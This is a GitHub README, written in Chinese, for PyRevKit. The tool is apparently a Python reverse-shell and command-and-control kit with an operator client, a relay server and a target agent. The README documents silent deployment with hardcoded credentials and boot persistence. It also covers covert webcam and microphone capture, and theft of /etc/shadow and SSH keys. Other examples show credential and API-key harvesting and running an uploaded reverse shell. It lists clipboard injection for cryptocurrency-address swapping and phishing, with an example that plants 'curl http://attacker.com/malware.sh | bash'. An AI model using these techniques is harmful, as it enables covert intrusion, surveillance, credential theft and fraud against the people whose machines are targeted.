infosecm/PyRevKit

GitHub: infosecm/PyRevKit

一个具备加密通信、文件传输、媒体捕获和高级侦察能力的安全反向 Shell 工具包,用于授权安全测试和教育目的。

Stars: 0 | Forks: 0

# PyRevKit [![Python 3.7+](https://img.shields.io/badge/python-3.7+-blue.svg)](https://www.python.org/downloads/) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![Platform](https://img.shields.io/badge/platform-linux%20%7C%20windows%20%7C%20macos-lightgrey)](https://github.com/yourusername/pyrevkit) 一个功能强大、安全且具备加密 WebSocket 通信、文件传输、媒体捕获、高级侦察和身份验证系统的反向 Shell 工具包。 ## 🎯 功能特性 ### 核心功能 - **🔐 安全通信**:TLS/SSL 加密的 WebSocket 连接 - **🔑 身份验证**:带加盐的 PBKDF2-SHA256 哈希凭证 - **📁 文件传输**:带 base64 编码的双向文件上传/下载 - **🔄 自动重连**:指数退避重试机制 - **🎭 持久化目标**:目标在操作员会话之间保持连接 - **🤖 自主部署**:预配置凭证,用于静默部署 - **📊 多会话**:多个操作员可以按顺序连接到同一个目标 - **🛡️ 安全执行**:命令超时保护(默认 30 秒) ### 媒体捕获 - **📸 摄像头捕获**:通过目标摄像头拍照 - **🎤 音频录制**:从目标麦克风录制音频(1-300 秒) - **💾 自动存储**:所有媒体保存在 `loot/` 目录中 ### 高级侦察 - **🔍 文件搜索**:按名称模式搜索文件,支持自定义限制 - **📝 内容搜索**:在文本文件中搜索敏感数据 - **📊 系统信息**:全面的系统分析(OS、硬件、网络、存储) - **📋 剪贴板访问**:在目标机器上读取和写入剪贴板内容 ## 📋 目录 - [安装](#installation) - [快速开始](#quick-start) - [架构](#architecture) - [用法](#usage) - [服务端设置](#server-setup) - [目标部署](#target-deployment) - [客户端连接](#client-connection) - [文件传输命令](#file-transfer-commands) - [媒体捕获命令](#media-capture-commands) - [侦察命令](#reconnaissance-commands) - [剪贴板命令](#clipboard-commands) - [示例](#examples) - [配置](#configuration) - [安全注意事项](#security-considerations) - [故障排除](#troubleshooting) - [贡献](#contributing) - [许可证](#license) ## 🚀 安装 ### 要求 **核心(必需):** - Python 3.7 或更高版本 - `websockets` 库 **可选(用于高级功能):** - `opencv-python` - 摄像头捕获 - `sounddevice`, `scipy`, `numpy` - 音频录制 - `pyperclip` - 剪贴板管理 ### Linux / macOS ``` # Clone 仓库 git clone https://github.com/yourusername/pyrevkit.git cd pyrevkit # Install 依赖 pip3 install websockets # 或者使用 requirements.txt pip3 install -r requirements.txt # 可选:Install 媒体捕获依赖 pip3 install -r requirements-media.txt # 可选:Install 所有高级功能 pip3 install -r requirements-advanced.txt # Generate SSL 证书 openssl req -x509 -newkey rsa:4096 -nodes \ -out server.pem -keyout server.pem -days 365 \ -subj "/CN=YOUR_SERVER_IP" ``` ### Windows ``` # Clone 仓库 git clone https://github.com/yourusername/pyrevkit.git cd pyrevkit # Install 依赖 pip install websockets # 或者使用 requirements.txt pip install -r requirements.txt # 可选:Install 媒体捕获依赖 pip install -r requirements-media.txt # 可选:Install 所有高级功能 pip install -r requirements-advanced.txt # Generate SSL 证书(需要 OpenSSL for Windows) openssl req -x509 -newkey rsa:4096 -nodes -out server.pem -keyout server.pem -days 365 ``` ### Docker(可选) ``` docker build -t pyrevkit . docker run -d -p 8765:8765 --name pyrevkit-server pyrevkit ``` ## ⚡ 快速开始 ### 1. 设置凭证 ``` # 添加操作员凭据 python pyrev_server.py -creds operator admin SecurePassword123! # 添加目标凭据 python pyrev_server.py -creds target machineA TargetPassword456! ``` ### 2. 启动服务器 ``` python pyrev_server.py ``` 输出: ``` [+] Directories ready: loot/, payloads/ [+] Server running on wss://0.0.0.0:8765 [+] Credentials file: credentials.json [+] Loot directory: loot/ [+] Payloads directory: payloads/ ``` ### 3. 连接目标 ``` python pyrev_target.py ``` 交互模式: ``` Server host [192.168.2.110]: Server port [8765]: --- Authentication --- Login: machineA Password: [hidden] [+] Connected and authenticated. Waiting for commands... ``` ### 4. 作为操作员连接 ``` python pyrev_client.py ``` ``` --- Authentication --- Login: admin Password: [hidden] [+] Connected to server Target ID: machineA [+] Interactive session started >>> whoami root >>> ``` ## 🏗️ 架构 ``` ┌─────────────────┐ ┌────────────────┐ ┌────────────────┐ │ Operator │ │ C2 Server │ │ Target │ │ │◄───────►│ - Auth │◄───────►│ | │ │ WSS │ - Relay │ WSS │ │ │ pyrev_client │ │ - Files │ │ pyrev_target │ └─────────────────┘ │ │ └────────────────┘ | pyrev_server | └────────────────┘ │ ┌──────┴──────┐ │ │ loot/ payloads/ ``` ### 组件 - **pyrev_server.py**:处理身份验证、中继和文件操作的中心 C2 服务器 - **pyrev_client.py**:用于发送命令和管理文件的操作员接口 - **pyrev_target.py**:部署在目标机器上的 Agent ### 文件结构 ``` pyrevkit/ ├── pyrev_server.py # C2 Server ├── pyrev_client.py # Operator client ├── pyrev_target.py # Target agent ├── requirements.txt # Python dependencies ├── server.pem # SSL certificate (generated) ├── credentials.json # Hashed credentials (auto-created) ├── loot/ # Downloaded files from targets └── payloads/ # Files to upload to targets ``` ## 📖 用法 ### 服务端设置 #### 启动服务器 ``` python pyrev_server.py [OPTIONS] ``` **选项:** - `-creds ROLE LOGIN PASSWORD` - 添加/更新凭证 - `-host HOST` - 服务器主机(默认:0.0.0.0) - `-port PORT` - 服务器端口(默认:8765) - `-cert FILE` - SSL 证书文件(默认:server.pem) **示例:** ``` # 添加操作员 python pyrev_server.py -creds operator alice MyPass123 # 添加目标 python pyrev_server.py -creds target prod-web-01 TargetPass456 # 在自定义端口启动 python pyrev_server.py -host 0.0.0.0 -port 9000 ``` #### 凭证管理 凭证使用 PBKDF2-SHA256 哈希存储在 `credentials.json` 中: ``` { "operator": { "admin": { "hash": "0b2ad92a1f3e68487a780b3c6d7ab33c...", "salt": "e48cbd452e38b9337130dcb82f3b761c..." } }, "target": { "machineA": { "hash": "f61a20f536c15913156a282b3eb84b03...", "salt": "ff789cd49679ebadd2f60b02094ae21b..." } } } ``` ### 目标部署 #### 交互模式 ``` python pyrev_target.py ``` 脚本将提示输入: - 服务器主机 - 服务器端口 - 登录凭证 #### 自主模式(静默部署) 编辑 `pyrev_target.py` 中的配置部分: ``` # ========== CONFIGURATION ========== TARGET_ID = "machineA" SERVER_HOST = "192.168.2.110" SERVER_PORT = 8765 AUTO_LOGIN = "machineA" # Fill for auto-connect AUTO_PASSWORD = "TargetPass456" # Fill for auto-connect # ==================================== ``` 然后只需运行: ``` python pyrev_target.py ``` 输出: ``` [+] Auto-connecting to 192.168.2.110:8765 as machineA [+] Connected and authenticated. Waiting for commands... ``` **持久化示例:** Linux(systemd): ``` sudo nano /etc/systemd/system/pyrevkit.service ``` ``` [Unit] Description=PyRevKit Agent After=network.target [Service] Type=simple ExecStart=/usr/bin/python3 /opt/pyrevkit/pyrev_target.py Restart=always User=nobody [Install] WantedBy=multi-user.target ``` ``` sudo systemctl enable pyrevkit sudo systemctl start pyrevkit ``` Windows(启动): ``` # 添加到:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\pyrevkit.bat @echo off cd C:\Tools\pyrevkit python pyrev_target.py ``` ### 客户端连接 ``` python pyrev_client.py ``` **会话流程:** 1. 输入服务器连接详情 2. 使用操作员凭证进行身份验证 3. 指定要连接的目标 ID 4. 交互式命令提示符 ``` >>> help ``` ### 文件传输命令 #### 从目标下载文件 ``` >>> download /etc/passwd [*] Requesting download: /etc/passwd [✓] Downloaded passwd (2.45 KB) → loot/machineA_passwd ``` **功能:** - 使用目标前缀自动重命名 - 显示大小 - 最大文件大小:10MB - 支持绝对和相对路径 #### 上传文件到目标 ``` >>> upload exploit.sh [*] Uploading: exploit.sh [✓] Saved exploit.sh (5.67 KB) → downloads/exploit.sh ``` 文件从服务器的 `payloads/` 目录上传到目标的 `downloads/` 文件夹。 #### 列出文件 ``` # 列出已下载文件(服务器端) >>> ls_loot Files in loot/: - machineA_passwd (2.45 KB) - machineA_config.txt (1.23 KB) # 列出可用 payloads >>> ls_payloads Files in payloads/: - exploit.sh (5.67 KB) - payload.exe (234.56 KB) ``` ### 媒体捕获命令 #### 摄像头捕获 从目标的摄像头捕获照片: ``` >>> webcam [*] Capturing webcam... [✓] Webcam captured (156.78 KB) → loot/machineA_webcam_20260403_143022.jpg ``` **功能:** - JPEG 格式 - 摄像头原生分辨率 - 自动时间戳命名 - 保存到 `loot/` 目录 **要求:** - 目标必须安装 `opencv-python`:`pip install opencv-python` - 摄像头必须可访问(未被其他应用程序使用) #### 音频录制 从目标的麦克风录制音频: ``` >>> record 30 [*] Recording 30 seconds of audio... [✓] Audio recorded (5.05 MB) → loot/machineA_audio_20260403_143522.wav ``` **参数:** - 持续时间:1 到 300 秒(最长 5 分钟) - 格式:WAV, 44.1kHz, 16-bit, 立体声 - 大小约:每秒 ~170 KB **示例:** ``` >>> record 10 # 10 seconds (~1.7 MB) >>> record 60 # 1 minute (~10 MB) >>> record 300 # 5 minutes (max, ~50 MB) ``` **要求:** - 目标必须安装音频库: pip install sounddevice scipy numpy ### 侦察命令 #### 文件搜索 按名称模式搜索文件: ``` >>> search *.pdf [*] Searching for files: *.pdf [✓] Found 15 results: 1. C:\Users\John\Documents\report.pdf (523.45 KB) 2. C:\Users\John\Desktop\invoice.pdf (102.34 KB) ... ``` **带自定义限制:** ``` >>> search *.pem --limit 200 [*] Searching for files: *.pem (limit: 200) [✓] Found 79 results: 1. /home/user/cert1.pem (5.61 KB) ... 79. /home/user/cert79.pem (3.24 KB) ``` **支持的模式:** - `*.pdf` - 所有 PDF 文件 - `*.docx` - 所有 Word 文档 - `password*` - 以 "password" 开头的文件 - `*config*` - 包含 "config" 的文件 - `secret.txt` - 特定文件 **默认限制:** 100 个结果(使用 `--limit N` 自定义) #### 内容搜索 在文本文件中搜索敏感数据: ``` >>> search --content "password" [*] Searching for content: password [✓] Found 8 results: 1. C:\config.txt:45 database_password=admin123 2. C:\Users\John\notes.txt:12 Remember to change password next week ... ``` **带自定义限制:** ``` >>> search --content "api_key" --limit 300 [*] Searching for content: api_key (limit: 300) [✓] Found 45 results: 1. /app/config.json:23 "api_key": "sk_live_abc123..." ... ``` **支持的文件类型:** - 文本文件:`.txt`, `.log`, `.conf`, `.config`, `.ini` - 代码文件:`.py`, `.sh`, `.bat`, `.cmd` - 数据文件:`.xml`, `.json` **限制:** - 最大文件大小:每个文件 10MB - 仅限文本文件(跳过二进制文件) #### 系统信息 收集全面的系统信息: ``` >>> sysinfo [*] Gathering system information... [✓] System Information - machineA System: os: Windows os_version: 10.0.19045 os_release: 10 hostname: DESKTOP-ABC123 architecture: AMD64 processor: Intel64 Family 6 Model 158 Stepping 10 python_version: 3.11.0 User: username: admin home: C:\Users\admin Network: hostname: DESKTOP-ABC123 local_ip: 192.168.1.100 Storage: C: 120.5GB free / 512.0GB total D: 50.2GB free / 1024.0GB total Environment: PATH: C:\Windows\system32;C:\Windows;... TEMP: C:\Users\admin\AppData\Local\Temp ``` **收集的信息:** - 操作系统详情 - 硬件规格 - 当前用户和主目录 - 网络配置 - 存储/磁盘空间 - 环境变量 **无需额外依赖** - 仅使用 Python 标准库。 ### 剪贴板命令 #### 读取剪贴板 从目标捕获剪贴板内容: ``` >>> clipboard [*] Reading clipboard... [✓] Clipboard content: MySecretPassword123! ``` **用例:** - 捕获复制的密码 - 拦截复制的凭证 - 监控用户活动 - 捕获 API 密钥和 token #### 写入剪贴板 向目标剪贴板注入内容: ``` >>> clipboard set "Hello from operator" [*] Setting clipboard... [✓] Clipboard updated ``` **用例:** - 替换加密货币地址 - 注入钓鱼 URL - 修改复制的命令 - 社会工程攻击 **要求:** - 目标必须安装 `pyperclip`:`pip install pyperclip` - 需要图形环境(非无头服务器) - **Linux:** 需要 `xclip` 或 `xsel`: sudo apt-get install xclip #### 所有可用命令 | Command | Description | Example | |---------|-------------|---------| | **Basic Commands** | | `` | Execute shell command | `whoami`, `ls -la` | | `help` | Show help message | `help` | | `exit` / `quit` | Disconnect from target | `exit` | | **File Transfer** | | `download ` | Download file from target | `download /etc/shadow` | | `upload ` | Upload file to target | `upload payload.exe` | | `ls_loot` | List downloaded files | `ls_loot` | | `ls_payloads` | List available payloads | `ls_payloads` | | **Media Capture** | | `webcam` | Capture photo via webcam | `webcam` | | `record ` | Record audio (1-300s) | `record 30` | | **Reconnaissance** | | `search ` | Search files by name | `search *.pdf` | | `search --limit ` | Search with custom limit | `search *.log --limit 500` | | `search --content ` | Search file contents | `search --content "password"` | | `search --content --limit ` | Content search with limit | `search --content "api" --limit 200` | | `sysinfo` | Gather system information | `sysinfo` | | **Clipboard** | | `clipboard` | Read clipboard content | `clipboard` | | `clipboard set ` | Set clipboard content | `clipboard set "payload"` | ## 💡 示例 ### 示例 1:基本侦察 ``` >>> whoami root >>> uname -a Linux target 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux >>> pwd /root >>> ls -la total 48 drwx------ 5 root root 4096 Apr 3 10:30 . drwxr-xr-x 19 root root 4096 Mar 15 08:12 .. -rw------- 1 root root 220 Mar 15 08:12 .bash_logout ``` ### 示例 2:数据窃取 ``` >>> download /etc/passwd [✓] Downloaded passwd (2.45 KB) → loot/machineA_passwd >>> download /etc/shadow [✓] Downloaded shadow (1.89 KB) → loot/machineA_shadow >>> download /home/user/.ssh/id_rsa [✓] Downloaded id_rsa (3.24 KB) → loot/machineA_id_rsa >>> ls_loot Files in loot/: - machineA_passwd (2.45 KB) - machineA_shadow (1.89 KB) - machineA_id_rsa (3.24 KB) ``` ### 示例 3:Payload 部署 ``` >>> ls_payloads Files in payloads/: - reverse_shell.sh (265 bytes) - privilege_escalation.py (3.21 KB) >>> upload reverse_shell.sh [✓] Saved reverse_shell.sh (0.26 KB) → downloads/reverse_shell.sh >>> chmod +x downloads/reverse_shell.sh >>> bash downloads/reverse_shell.sh 192.168.1.100 4444 ``` ### 示例 4:多会话工作流 终端 1(服务器): ``` $ python pyrev_server.py [+] Server running on wss://0.0.0.0:8765 [+] Target machineA connected ``` 终端 2(目标): ``` $ python pyrev_target.py [+] Auto-connecting to 192.168.2.110:8765 as machineA [+] Connected and authenticated. Waiting for commands... ``` 终端 3(操作员 1): ``` $ python pyrev_client.py >>> whoami root >>> exit ``` 终端 4(操作员 2 - 连接到同一目标): ``` $ python pyrev_client.py >>> pwd /root ``` ### 示例 5:媒体监控 ``` # Capture 摄像头照片 >>> webcam [✓] Webcam captured (156.78 KB) → loot/machineA_webcam_20260403_143022.jpg # 录制 30 秒音频 >>> record 30 [✓] Audio recorded (5.05 MB) → loot/machineA_audio_20260403_143522.wav # 检查谁在使用机器 # Download 并查看 loot/ 目录中的摄像头图像 ``` ### 示例 6:凭证收集 ``` # 搜索 SSH keys >>> search id_rsa [✓] Found 3 results: 1. /home/john/.ssh/id_rsa (3.24 KB) 2. /home/admin/.ssh/id_rsa (2.98 KB) # 搜索证书 >>> search *.pem --limit 100 [✓] Found 79 results: 1. /etc/ssl/private/server.pem (5.61 KB) ... # 在 config 文件中搜索密码 >>> search --content "password" --limit 200 [✓] Found 45 results: 1. /app/config.json:23 "database_password": "admin123" 2. /home/user/.bashrc:15 export DB_PASSWORD="secret" ... # Download 敏感文件 >>> download /home/john/.ssh/id_rsa [✓] Downloaded id_rsa (3.24 KB) → loot/machineA_id_rsa ``` ### 示例 7:系统分析 ``` # 收集完整系统信息 >>> sysinfo [✓] System Information - machineA System: os: Windows 10 hostname: PROD-WEB-01 architecture: AMD64 Network: local_ip: 192.168.1.100 Storage: C: 50.2GB free / 512.0GB total # 搜索有趣的配置文件 >>> search *.conf --limit 50 >>> search config.json >>> search settings.ini ``` ### 示例 8:剪贴板监控 ``` # Monitor 剪贴板以获取复制的凭据 >>> clipboard [✓] Clipboard content: john.doe@example.com # 等待用户复制密码... >>> clipboard [✓] Clipboard content: MySecretPassword123! # 用恶意 payload 替换剪贴板 >>> clipboard set "curl http://attacker.com/malware.sh | bash" [✓] Clipboard updated ``` ### 示例 9:完整侦察工作流 ``` # 第 1 步:系统分析 >>> sysinfo [✓] System Information collected # 第 2 步:搜索敏感文件 >>> search *.pem --limit 200 >>> search *.key --limit 100 >>> search id_rsa # 第 3 步:在文件中搜索凭据 >>> search --content "password" --limit 300 >>> search --content "api_key" --limit 200 >>> search --content "secret" --limit 200 # 第 4 步:媒体监控 >>> webcam >>> record 60 # 第 5 步:剪贴板监控 >>> clipboard # 第 6 步:Download 所有发现的内容 >>> download /path/to/sensitive/file1 >>> download /path/to/sensitive/file2 ``` ### 示例 10:高级搜索操作 ``` # 查找所有 log 文件 >>> search *.log --limit 500 [✓] Found 342 results: ... # 搜索数据库连接字符串 >>> search --content "mysql://" --limit 100 >>> search --content "postgresql://" --limit 100 >>> search --content "mongodb://" --limit 100 # 查找配置文件 >>> search *config* --limit 200 >>> search *.ini --limit 100 >>> search *.conf --limit 100 # 搜索 API keys 和 tokens >>> search --content "Bearer " --limit 150 >>> search --content "token" --limit 200 >>> search --content "Authorization:" --limit 100 ``` ## ⚙️ 配置 ### 服务器配置 编辑 `pyrev_server.py` 常量: ``` LOOT_DIR = "loot" # Directory for downloaded files PAYLOADS_DIR = "payloads" # Directory for payloads to upload CREDS_FILE = "credentials.json" ``` ### 目标配置 编辑 `pyrev_target.py` 头部: ``` TARGET_ID = "machineA" # Unique identifier SERVER_HOST = "192.168.2.110" # C2 server address SERVER_PORT = 8765 # C2 server port AUTO_LOGIN = "" # Set for autonomous mode AUTO_PASSWORD = "" # Set for autonomous mode DOWNLOAD_DIR = "downloads" # Received files directory ``` ### 客户端配置 编辑 `pyrev_client.py` 常量: ``` OP_ID = "operator1" # Operator identifier ``` ## 🔒 安全注意事项 ### ⚠️ 重要警告 1. **仅供教育/授权使用**:仅在你拥有或获得明确测试许可的系统上使用 2. **凭证存储**:密码经过哈希处理但存储在磁盘上 3. **SSL 证书**:在生产环境中使用有效证书 4. **网络安全**:考虑防火墙规则和网络分段 ### 安全特性 ✅ **TLS/SSL 加密**:所有流量通过 WSS 加密 ✅ **密码哈希**:PBKDF2-SHA256,100,000 次迭代 ✅ **每用户盐值**:唯一的 32 字节盐值防止彩虹表攻击 ✅ **时序攻击防护**:常量时间比较 ✅ **命令超时**:命令执行限制 30 秒 ✅ **文件大小限制**:最大文件传输大小 10MB ### 建议 - 使用强且唯一的密码(16 个字符以上) - 定期轮换凭证 - 使用防火墙规则限制服务器访问 - 监控服务器日志以发现可疑活动 - 在生产环境中使用有效的 SSL 证书(非自签名) - 设置严格的文件权限:`chmod 600 credentials.json` ## 🐛 故障排除 ### 连接问题 **问题**:`[ERROR] Connection rejected` **解决方案**: ``` # 验证 server 正在运行 netstat -tulpn | grep 8765 # 检查防火墙 sudo ufw allow 8765/tcp # 验证证书存在 ls -l server.pem ``` **问题**:`cannot call recv while another coroutine is running` **解决方案**:服务器通过取消旧的中继自动处理此问题。更新到最新版本。 ### 身份验证问题 **问题**:`Authentication` **解决方案**: ``` # 验证凭据存在 cat credentials.json # 重新添加凭据 python pyrev_server.py -creds target machineA NewPassword123 # 检查登录名/密码中的拼写错误 ``` ### 文件传输问题 **问题**:`[✗] File not found` **解决方案**: ``` # 对于 Download:验证目标上存在文件 >>> ls /path/to/file # 对于 Upload:验证 payloads/ 中存在文件 ls -l payloads/ ``` **问题**:`[✗] File too large` **解决方案**:超过 10MB 的文件会被拒绝。压缩或分割文件: ``` # 在目标上 tar -czf archive.tar.gz large_directory/ >>> download archive.tar.gz ``` ### 媒体捕获问题 **问题**:`[✗] OpenCV not installed` **解决方案**: ``` # 在目标机器上 pip install opencv-python ``` **问题**:`[✗] Cannot access webcam` **解决方案**: - 关闭其他使用摄像头的应用程序 - 验证摄像头已连接:`ls /dev/video*` (Linux) - 检查用户权限:`sudo usermod -a -G video $USER` (Linux) **问题**:`[✗] Audio libraries not installed` **解决方案**: ``` # 在目标机器上 pip install sounddevice scipy numpy # Linux 可能还需要 sudo apt-get install portaudio19-dev python3-dev ``` **问题**:音频录制失败或无声音 **解决方案**: - 检查麦克风是否静音 - 验证默认音频设备:`python -c "import sounddevice as sd; print(sd.query_devices())"` - 手动测试:运行 `test_media.py` 脚本 ### 搜索问题 **问题**:文件明显存在但未找到结果 **解决方案**: - 检查文件权限(目标可能无权访问) - 增加限制:`search *.pdf --limit 500` - 验证模式语法(不区分大小写) - 尝试更宽泛的模式:`search *password*` **问题**:内容搜索返回过多结果 **解决方案**: - 使用更具体的搜索词 - 调整限制:`search --content "exact_phrase" --limit 50` **问题**:搜索速度慢 **解决方案**:这对于大型文件系统是正常的。建议: - 减少限制:`--limit 100` - 仅搜索特定文件类型 - 使用更具体的模式 ### 剪贴板问题 **问题**:`[✗] Clipboard library not installed` **解决方案**: ``` # 在目标机器上 pip install pyperclip ``` **问题**:`[✗] Clipboard read timeout` **解决方案**: - **Linux**:安装剪贴板工具 sudo apt-get install xclip # For X11 sudo apt-get install wl-clipboard # For Wayland - 验证图形环境:`echo $DISPLAY`(应显示 `:0` 或类似内容) - 无头服务器不支持 **问题**:剪贴板命令挂起 **解决方案**: - 更新到最新版本(已添加超时保护) - 运行诊断:在目标上运行 `python test_clipboard.py` - 确保目标不是无头的 **问题**:剪贴板正常但返回空 **解决方案**: - 剪贴板确实为空 - 剪贴板包含非文本数据(图像、文件) - 手动复制一些文本并重试 ### 系统信息问题 **问题**:sysinfo 输出中缺少某些信息 **解决方案**:这是正常的。信息可用性取决于: - 操作系统 - 用户权限 - Python 版本 无需修复 - 系统提供其可访问的信息。 ## 🤝 贡献 欢迎贡献!请遵循以下准则: 1. Fork 本仓库 2. 创建一个功能分支(`git checkout -b feature/amazing-feature`) 3. 提交你的更改(`git commit -m 'Add amazing feature'`) 4. 推送到分支(`git push origin feature/amazing-feature`) 5. 打开一个 Pull Request ## 📄 许可证 本项目采用 MIT 许可证授权 - 详情请参阅 [LICENSE](LICENSE) 文件。 ## ⚖️ 法律免责声明 此工具仅用于教育和授权安全测试目的。未经授权访问计算机系统是非法的。作者不承担任何责任,也不对因本程序造成的任何误用或损害负责。请负责任地使用,并仅在你拥有或获得明确测试许可的系统上使用。 ## 📚 其他资源 ### 文档 - [MEDIA_CAPTURE.md](MEDIA_CAPTURE.md) - 摄像头和音频功能完整指南 - [ADVANCED_FEATURES.md](ADVANCED_FEATURES.md) - 文件搜索、sysinfo 和剪贴板文档 - [CLIPBOARD_TROUBLESHOOTING.md](CLIPBOARD_TROUBLESHOOTING.md) - 全面的剪贴板故障排除 - [QUICKREF.md](QUICKREF.md) - 所有命令的快速参考指南 ### 测试工具 - `test_media.py` - 测试摄像头和音频功能 - `test_clipboard.py` - 诊断剪贴板功能 ### 依赖参考 **核心(必需):** ``` pip install websockets>=12.0 ``` **媒体捕获(可选):** ``` pip install opencv-python>=4.5.0 # Webcam pip install sounddevice>=0.4.6 # Audio pip install scipy>=1.7.0 numpy>=1.21.0 # Audio processing ``` **高级功能(可选):** ``` pip install pyperclip>=1.8.0 # Clipboard ``` **所有可选功能:** ``` pip install -r requirements-advanced.txt ``` ### 协议规范 - [PBKDF2 规范](https://tools.ietf.org/html/rfc2898) - [WebSocket 协议](https://tools.ietf.org/html/rfc6455) - [TLS 最佳实践](https://wiki.mozilla.org/Security/Server_Side_TLS) ## 🎯 完整功能矩阵 | Feature | Dependencies | Platforms | Status | |---------|--------------|-----------|--------| | **Core Features** | | Shell Commands | None | All | ✅ | | File Transfer | None | All | ✅ | | Authentication | None | All | ✅ | | Auto-Reconnect | None | All | ✅ | | **Media Capture** | | Webcam | opencv-python | All* | ✅ | | Audio Recording | sounddevice, scipy, numpy | All* | ✅ | | **Reconnaissance** | | File Search | None | All | ✅ | | Content Search | None | All | ✅ | | System Info | None | All | ✅ | | Clipboard | pyperclip | GUI only** | ✅ | \* 摄像头/麦克风必须可用 \*\* 需要图形环境(非无头模式) ### 特定平台说明 **Windows:** - 安装依赖后所有功能开箱即用 - 剪贴板无需额外工具即可工作 - 捕获期间摄像头 LED 可能会亮起 **Linux:** - 摄像头要求用户在 `video` 组中 - 音频要求用户在 `audio` 组中 - 剪贴板需要 `xclip` (X11) 或 `wl-clipboard` (Wayland) - 无头服务器:媒体和剪贴板功能不可用 **macOS:** - 所有功能原生支持 - 首次使用需要权限提示(摄像头、麦克风、剪贴板) - 剪贴板使用原生 `pbcopy`/`pbpaste` ## 🙏 致谢 - 使用 Python 的 `asyncio` 和 `websockets` 库构建 - 灵感来源于现代 C2 框架 - 感谢安全研究社区 **⭐ 如果你发现这个项目有用,请考虑给它一个 Star!** **📧 联系方式**:your.email@example.com **🐛 问题反馈**:[GitHub Issues](https://github.com/yourusername/pyrevkit/issues) **💬 讨论**:[GitHub Discussions](https://github.com/yourusername/pyrevkit/discussions)
标签:DNS 反向解析, HTTP工具, IP 地址批量处理, Python, WebSocket, 依赖分析, 剪贴板访问, 加密通信, 反向Shell, 嗅探欺骗, 多会话管理, 屏幕截图, 攻击路径可视化, 教育用途, 数据窃取, 文件传输, 无后门, 无线安全, 权限维持, 系统信息收集, 网络安全, 网络安全审计, 自动重连, 请求拦截, 远程控制, 键盘记录, 隐私保护, 黑客工具